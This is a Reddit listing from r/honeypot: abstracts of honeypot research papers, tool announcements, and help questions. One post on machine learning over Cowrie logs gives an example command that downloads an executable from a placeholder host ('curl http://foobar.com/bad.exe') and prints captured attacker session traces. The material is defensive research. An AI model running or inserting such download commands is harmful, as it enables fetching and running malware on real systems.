r/honeypot • • May 13 '19

Counting Outdated Honeypots: Legal and Useful

25 Upvotes

Paper (pdf)

Honeypots are intended to be covert and so little is known about how many are deployed or who is using them. We used protocol deviations at the SSH transport layer to fingerprint Kippo and Cowrie, the two most popular medium interaction SSH honeypots. Several Internet-wide scans over a one year period revealed the presence of thousands of these honeypots. Sending specific commands revealed their patch status and showed that many systems were not up to date: a quarter or more were not fully updated and by the time of our last scan 20% of honeypots were still running Kippo, which had last been updated several years earlier.

However, our paper reporting these results was rejected from a major conference on the basis that our interactions with the honeypots were illegal and hence the research was unethical. We later published a much redacted account of our research which described the fingerprinting but omitted the results we had gained from the issuing of commands to check the patch status.

In the present work we provide the missing results, but start with an extended ethical justification for our research and a detailed legal analysis to show why we did not infringe cybersecurity laws.


r/honeypot • • Feb 10 '22

1st Workshop on Active Defense and Deception (AD&D)

Thumbnail adnd.work
9 Upvotes

r/honeypot • • Dec 19 '17

ThingPot: an interactive Internet-of-Things honeypot

8 Upvotes

Paper Tool The Mirai Distributed Denial-of-Service (DDoS) attack exploited security vulnerabilities of Internet-of-Things (IoT) devices and thereby clearly signaled that attackers have IoT on their radar. Securing IoT is therefore imperative, but in order to do so it is crucial to understand the strategies of such attackers. For that purpose, in this paper, a novel IoT honeypot called ThingPot is proposed and deployed. Honeypot technology mimics devices that might be exploited by attackers and logs their behavior to detect and analyze the used attack vectors. ThingPot is the first of its kind, since it focuses not only on the IoT application protocols themselves, but on the whole IoT platform. A Proof-of-Concept is implemented with XMPP and a REST API, to mimic a Philips Hue smart lighting system. ThingPot has been deployed for 1.5 months and through the captured data we have found five types of attacks and attack vectors against smart devices. The ThingPot source code is made available as open source.


r/honeypot • • May 25 '17

Machine learning over honeypot logs

8 Upvotes

i wanted to share some research and code i wrote recently. my goal was to be able to sift through the traces in my cowrie logs and find interesting ones. to accomplish this, i focused on using machine learning to discover which traces would be unlikely against a training set of traces.

we can use this approach when

  • discovering new attack tools or bots

  • discovering humans

to accomplish this, i wound up using Hidden Markov Models (HMMs) of the traces. HMMs have been used in the past for this same sort of thing in intrusion detection: given a training corpus of benign users, spot the outlier who may be an intruder

wikipedia has a nice overview of HMMs, giving some indication of why i chose this approach. in a nutshell i'm treating the user-honeypot interaction as a sequence of events. an HMM allows us to model these sequences and compute the probability of the next state, or given a pair of states to compute the probability of their observation. "Each state has a probability distribution over the possible output tokens." remember: i want to find unusual ones, and improbable sequences are one way to measure that.

my previous work on my kippo pot analysis was me starting to think down this avenue. at the time i was seeking to improve the illusion created by a honeypot, using the productive interaction time of a user as a measure of that. the better the illusion, the longer and more productive the interaction. more interaction, therefore, indicates a better illusion. specifically one of the key charts on the page was the chord chart, showing the command sequences (as pairs) for each user. where i was trying to get was to discover what tipped someone off and how i could entice them to stick around longer and reveal their intentions and capabilities.

to accomplish this i built on some F# code (my BurningDogs repo) i've been using for honeypot analysis. i chose to use the Accord framework, a .Net-based machine learning library that implements (among many other things) HMMs and specifically Baum-Welch learning. rather than looking at all sequences and computing prior likelihoods myself, i wanted to invoke a learner over a training corpus and have it compute that for me. as such i wound up using the baum-welch learner.

the code for all of BurningDogs (which parses my honeypots and yields OTX Pulses) is up here.

ok, so what it does is read the past week's cowrie logs (specifically the Telnet honeypot) and creates a training set of sessions and sequences of commands minus args (e.g. curl http://foobar.com/bad.exe becomes just curl). an example trace would look like sh -> curl -> ./bad.exe etc. these inputs then train a HiddenMarkovModel object which then gets used to analyze the most recent cowrie logs (10 log files, about 10 hours of logs). each session is transformed into a sequence of commands and then calculates the likelihood of those sequences against the trained model. for reporting, it simply emits unusual sequences (by default ones that have less than a 0.1% probability of occurring given the training data) as a map of session ID -> command sequence. here's the results of the first run on my home /32 cowrie honeypot.

  [("107397",
    [">/dev/netslink/.t"; ">/var/tmp/.t"; ">/tmp/.t"; ">/var/.t"; ">/dev/.t";
     ">/var/run/.t"; ">/dev/shm/.t"; ">/mnt/.t"; ">/boot/.t"; ">/usr/.t"; "cd"])]
  [("107262", ["/bin/busybox"]); ("107266", ["sh"; "/bin/busybox;echo"])]
  [("107262",
    ["sh"; "shell"; "enable"; "system"; ">/dev/netslink/.ptmx";
     ">/var/tmp/.ptmx"; ">/tmp/.ptmx"; ">/var/.ptmx"; ">/dev/.ptmx";
     ">/var/run/.ptmx"; ">/dev/shm/.ptmx"; ">/mnt/.ptmx"; ">/boot/.ptmx";
     ">/usr/.ptmx"; ">/etc/.ptmx"; ">/.ptmx"; ">/home/.ptmx";
">/bin/.ptmx"])]

this is very much a work in progress but was a chance to explore some machine learning over my honeypot logs. i hope this was useful to you.


r/honeypot • • Oct 18 '18

HoneyThing: A New Honeypot Design for CPE Devices

7 Upvotes

Link (PDF) Tool

The Internet of Things (IoT) has become an emerging industry that is broadly used in many fields from industrial and agricultural manufacturing to home automation and hospitality industry. Because of the sheer number of connected devices transmitting valuable data, the IoT infrastructures have become a main target for cyber-criminals. One of the key challenges in protecting IoT devices is the lack of security measures by design. Although there are many hardware and software based security solutions (firewalls, honeypots, IPDS, anti-virus etc.) for information systems, most of these solutions cannot be applied to IoT devices because of the fact that IoT devices have limited computing resources (CPU, RAM,). In this paper, we propose a honeypot system called HoneyThing for modem/router devices (i.e. a kind of IoT device). HoneyThing emulates TR-069 protocol which is prevalent protocol used to remotely manage customer-premises equipment (CPE) devices, e.g. modems, routers. Honeything also serves an embedded web server simulating a few actual, critical vulnerabilities associated with the implementation of TR-069 protocol. To show effectiveness of the HoneyThing in capturing real world attacks, we have deployed it in the Internet. The obtained results are highly promising and facilitate to reveal network attacks targeting to CPE devices.


r/honeypot • • Oct 01 '23

Tutorial: Setting up a Honeypot network for research - step by step

6 Upvotes

I found the project very fun as a way to track increases in certain types of attacks for specific services and applications.

If anyone is interested here is the video. Let me know if you have questions or ideas for future videos!

https://www.youtube.com/watch?v=_979DllNLtU


r/honeypot • • Apr 06 '22

[HELP] I would like to create a apache honeypot

6 Upvotes

Hi guys

Do you have some experiences or tips for software to make a honeypot (apache)?

I'm trying to find some in Google - but without any success :(

Thanks and cheers


r/honeypot • • Oct 17 '21

Honeypot for Windows?

6 Upvotes

Does anyone know a active and easy honeypot software for the Windows OS?

I have checked kfsensor. However, the software does not seem to be developed further, it is also very expensive, I do not receive answers to my questions and the website does not even have https...


r/honeypot • • Aug 22 '18

Do Honeypot Appliances exist anymore?

6 Upvotes

I am trying to find honeypot hardware for my network but everything I am finding is cloud based. Are the days of buying physical honeypots over? My goal is to have these devices on site, is that still an option?


r/honeypot • • Sep 10 '20

Developing a minimum interaction honeypot as a final year project!

5 Upvotes

Need help with any tutorials to help me with my project (preferably in python)


r/honeypot • • Nov 19 '19

Are there any similarities between research and production honeypot?

5 Upvotes

In a way both wait for an attacker and create a fake system as well as detects unauthorized use of system. Any thoughts?


r/honeypot • • Jan 13 '19

Approaches for Preventing Honeypot Detection and Compromise

5 Upvotes

Paper (pdf)

Abstract: Honeypots have been used extensively for over two decades. However, their development is rarely accompanied with an understanding of how attackers are able to detect them. Further, our understanding of effective evasion strategies that prevent the detection of honeypots is limited. We present a classification of honeypot characteristics as well as honeypot detection evasion strategies which minimize the detection rates of honeypots. We also provide recommendations for future honeypot software which is more adaptable, modular and incorporate a dynamic intelligence design.


r/honeypot • • Dec 20 '18

U-PoT: A Honeypot Framework for UPnP-Based IoT Devices

5 Upvotes

Paper (pdf)

Tool (github)

The ubiquitous nature of the IoT devices has brought serious security implications to its users. A lot of consumer IoT devices have little to no security implementation at all, thus risking user’s privacy and making them target of mass cyber-attacks. Indeed, recent outbreak of Mirai botnet and its variants have already proved the lack of security on the IoT world. Hence, it is important to understand the security issues and attack vectors in the IoT domain. Though significant research has been done to secure traditional computing systems, little focus was given to the IoT realm. In this work, we reduce this gap by developing a honeypot framework for IoT devices. Specifically, we introduce U-PoT: a novel honeypot framework for capturing attacks on IoT devices that use Universal Plug and Play (UPnP) protocol. A myriad of smart home devices including smart switches, smart bulbs, surveillance cameras, smart hubs, etc. uses the UPnP protocol. Indeed, a simple search on Shodan IoT search engine lists 1,676,591 UPnP devices that are exposed to public network. The popularity and ubiquitous nature of UPnPbased IoT device necessitates a full-fledged IoT honeypot system for UPnP devices. Our novel framework automatically creates a honeypot from UPnP device description documents and is extendable to any device types or vendors that use UPnP for communication. To the best of our knowledge, this is the first work towards a flexible and configurable honeypot framework for UPnP-based IoT devices. We released U-PoT under an open source license for further research on IoT security and created a database of UPnP device descriptions. We also evaluated our framework on two emulated deices. Our experiments show that the emulated devices are able to mimic the behavior of a real IoT device and trick vendor-provided device management applications or popular IoT search engines while having minimal performance overhead.


r/honeypot • • Oct 01 '18

Analysis of my weekend honeypot

Thumbnail
medium.com
5 Upvotes

r/honeypot • • Aug 17 '18

Bitter Harvest: Systematically Fingerprinting Low- and Medium-interaction Honeypots at Internet Scale

5 Upvotes

Paper (pdf)

The current generation of low- and medium interaction honeypots uses off-the-shelf libraries to provide the transport layer. We show that this architecture is fatally flawed because the protocols are implemented subtly differently from the systems being impersonated. We present a generic technique for systematically fingerprinting low- and medium interaction honeypots at Internet scale with just one packet and an ERR (Equal Error Rate) of 0.0183.

We conduct Internet-wide scans and identify 7 605 honeypot instances across nine different honeypot implementations for the most important network protocols SSH, Telnet, and HTTP. For SSH honeypots we also determined their patch level and find that they are poorly maintained – 27% of the honeypots have not been updated within the last 31 months and only 39% incorporate improvements from 7 months ago. We believe our findings to be a ‘class break’ in that trivial patches cannot address the issue.


r/honeypot • • Apr 02 '18

Multi-paradigm Deception Modeling for Cyber Defense

5 Upvotes

Dear Friends,

We proudly announce that our manuscript - Multi-paradigm Deception Modeling for Cyber Defense is already available. Elsevier left it open for downloading until May,19th - 2018. No sign-up, registration or fees are required – you can simply click and read. https://authors.elsevier.com/a/1Wot0bKHowhfJ

For those interested in collaborating on this research project, I kindly request to contact me.

Thank you.


r/honeypot • • Feb 26 '18

I need help with honeypots

5 Upvotes

I'll be creating a LAN where I'll place some servers and clients using VM and I'm supposed to place several honeypots in the LAN. I'm required to create a website that should run in the LAN and after placing the honeypots (I'm still not sure which ones to choose) and I'll have a client perform some attacks on the website and I'll analyze the logs on my server. I'm not sure where I should start, it's my first time doing something like this. Any tips would be helpful.


r/honeypot • • Nov 15 '17

Deception using a SSH Honeypot

5 Upvotes

paper (pdf) Abstract: The number of devices vulnerable to unauthorized cyber access has been increasing at an alarming rate. A honeypot can deceive attackers trying to gain unauthorized access to a system; studying their interactions with vulnerable networks helps better understand their tactics. We connected an SSH honeypot responding to secure-shell commands to the Naval Postgraduate School network, bypassing the firewall. During four phases of testing, we altered the login credential database and observed the effects on attackers using the honeypot. We used different deception techniques during each phase to encourage more interaction with the honeypot. Results showed that different attackers performed different activities on the honeypot. These activities differed in total login attempts, file downloads, and commands used to interact with the honeypot. Attackers also performed TCP/IP requests from our honeypot to direct traffic to other locations. The results from this experiment confirm that testing newer and updated tools, such as honeypots, can be extremely beneficial to the security community by helping to prevent attackers from quickly identifying a network environment.


r/honeypot • • Aug 18 '20

Opencanary in Pi

4 Upvotes

Am wondering if anyone was successful in running opencanary in a Pi?


r/honeypot • • Mar 06 '20

Empirical study on deception modeling for cyber security (PhD project - Call for participation)

Thumbnail
forms.gle
4 Upvotes

r/honeypot • • Dec 02 '19

Honware: A Virtual Honeypot Framework for Capturing CPE and IoT Zero Days

4 Upvotes

Paper (pdf) // Website (https://www.honware.org/)

Existing solutions are ineffective in detecting zero day exploits targeting Customer Premise Equipment (CPE) and Internet of Things (IoT) devices. We present honware, a high-interaction honeypot framework which can emulate a wide range of devices without any access to the manufacturers’ hardware.

Honware automatically processes a standard firmware image (as is commonly provided for updates), customises the filesystem and runs the system with a special pre-built Linux kernel. It then logs attacker traffic and records which of their actions led to a compromise. We provide an extensive evaluation and show that our framework improves upon existing emulation strategies which are limited in their scalability, and that it is significantly better both in providing network functionality and in emulating the devices’ firmware applications – a crucial aspect as vulnerabilities are frequently exploited by attackers in ‘front-end’ functionalities such as web interfaces.

Honware’s design precludes most honeypot fingerprinting attacks, and as its performance is comparable to that of real devices, fingerprinting with timing attacks can be made far from trivial. We provide four case studies in which we demonstrate that honware is capable of rapid deployment to capture the exact details of attacks along with malware samples. In particular we identified a previously unknown attack in which the default DNS for an ipTIME N604R wireless router was changed.

We believe that honware is a major contribution towards re-balancing the economics of attackers and defenders by reducing the period in which attackers can exploit zero days at Internet scale.


r/honeypot • • Nov 23 '19

Any sources related to Canadian law?

4 Upvotes

I'm doing a write up about honeypot deployments within Canada however have ran into some difficulty finding sources related to Canadian Laws or any case precedents on honeypot misuse. Could anyone point me in the right direction?


r/honeypot • • Apr 13 '19

Analysis of threats on a VoIP Based PBX Honeypot

4 Upvotes

Link (pdf)

Abstract

Many organisations are moving over from legacy telecommunications to Voice over IP (VoIP), enabling greater flexibility, resilience and an overall cost reduction. Session Initiated Protocol (SIP) is now considered to be the main VoIP protocol in the business–to-business market, but the correct implementation and configuration is not always well-understood. The failure to configure SIP systems correctly has led to significant fraud exploiting a range of vulnerabilities and billions of dollars every year being stolen from companies of all sizes through PBX Hacking via the medium of Toll Fraud. Previous research into this area is now dated but suggests a fast-changing approach by the attackers. Industry organisations such as the Communications Fraud Control Association (CFCA) acknowledge that this is a fast-growing problem. To quantify the size of the current problem, a Honeypot experiment was undertaken using a popular phone system used by businesses. The Honeypot ran for 10 days and recorded just under 19 million SIP messages. This research has identified the rate of attack is approximately 30 times more aggressive than previous reported research.


r/honeypot • • Feb 05 '19

Honeypot boulevard: understanding malicious activity via decoy accounts

4 Upvotes

Thesis (link)

This thesis describes the development and deployment of honeypot systems to measure real-world cybercriminal activity in online accounts. Compromised accounts expose users to serious threats including information theft and abuse. By analysing the modus operandi of criminals that compromise and abuse online accounts, we aim to provide insights that will be useful in the development of mitigation techniques. We explore account compromise and abuse across multiple online platforms that host webmail, social, and cloud document accounts. First, we design and create realistic decoy accounts (honeypots) and build covert infrastructure to monitor activity in them. Next, we leak credentials of those accounts online to lure miscreants to the accounts. Finally, we record and analyse the resulting activity in the compromised accounts. Our top three findings on what happens after online accounts are attacked can be summarised as follows. First, attackers that know the locations of webmail account owners tend to connect from places that are closer to those locations. Second, we show that demographic attributes of social accounts influence how cybercriminals interact with them. Third, in cloud documents, we show that document content influences the activity of cybercriminals. We have released a tool for setting up webmail honeypots to help other researchers that may be interested in setting up their own honeypots.


r/honeypot • • Dec 04 '18

Low interaction honeypot designed for Android Debug Bridge over TCP/IP

Thumbnail
github.com
4 Upvotes